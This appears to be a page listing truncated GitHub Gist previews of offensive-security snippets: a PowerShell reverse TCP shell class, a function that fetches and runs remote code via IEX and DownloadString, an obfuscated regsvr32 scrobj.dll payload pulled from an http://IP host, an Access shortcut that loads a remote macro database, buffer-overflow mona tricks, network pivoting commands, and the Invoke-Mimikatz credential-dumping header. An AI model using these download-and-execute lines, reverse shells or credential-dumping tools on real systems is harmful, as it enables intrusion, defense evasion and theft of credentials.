This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections; | |
using System.Runtime.Remoting; | |
using System.Runtime.Remoting.Channels; | |
using System.Runtime.Remoting.Channels.Http; | |
using System.Runtime.Serialization.Formatters; | |
namespace ExampleRemoting | |
{ | |
public class DateTimeServer : MarshalByRefObject, IDisposable |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import pefile | |
import frida | |
def on_message(message, data): | |
print "[%s] -> %s" % (message, data) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add-Type -TypeDefinition @" | |
using System; | |
using System.Text; | |
using System.IO; | |
using System.Diagnostics; | |
using System.Net.Sockets; | |
public class ReverseTCP | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"@ | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
public static class GetAddress | |
{ | |
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Mona tricks: | |
--------------- | |
!mona pc 1000 -> Launch exploit with pattern | |
!mona findmsp -> autocalculate offset, ESP size..... | |
No jmp esp in Exec Region (.text) but no DEP: | |
!mona asm -s "jmp esp" | |
!mona find -s "\xff\xe4" -m <module> | |
----------------- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function runas-cabesha-webdelivery {param ($url,$user,$pass) | |
$username = $user | |
$password = $pass | |
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
$credenciales = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
Start-Job -ArgumentList $url,$credenciales -ScriptBlock {param ($url,$credenciales) | |
$O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($O.downloadstring("$URL")) | |
} -Credential $credenciales | Wait-Job | Receive-Job | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HOST | |
openvpn adon901.ovpn | |
COMPUTER 1 | |
sshuttle -vr root@HOST 10.10.0.0/8 | |
COMPUTER 2 | |
sshuttle -vr root@HOST 10.10.0.0/8 | |
HOST: | |
socat TCP4-LISTEN:8443,fork,reuseaddr TCP4:<COMPUTER1>:80 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Macro Web_Delivery + Invoke-Obfuscation | |
Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {WEBDELIVERY_PAYLOAD} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' | |
e.g | |
import-module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {regsvr32 /s /n /u /i:http://IP:8080/37yWWx.sct scrobj.dll} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
------Database Shortcut-------- | |
[Shortcut Properties] | |
AccessShortcutVersion=1 | |
DatabaseName=Database3.accdb | |
ObjectName=pwnid | |
ObjectType=Macro | |
Computer=W10PTTEST | |
DatabasePath=http://IP/Database3.accde | |
EnableRemote=0 | |
CreationTime= 1d4138fe237a9fc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-Mimikatz | |
{ | |
<# | |
.SYNOPSIS | |
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as | |
dump credentials without ever writing the mimikatz binary to disk. | |
The script has a ComputerName parameter which allows it to be executed against multiple computers. | |
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed. |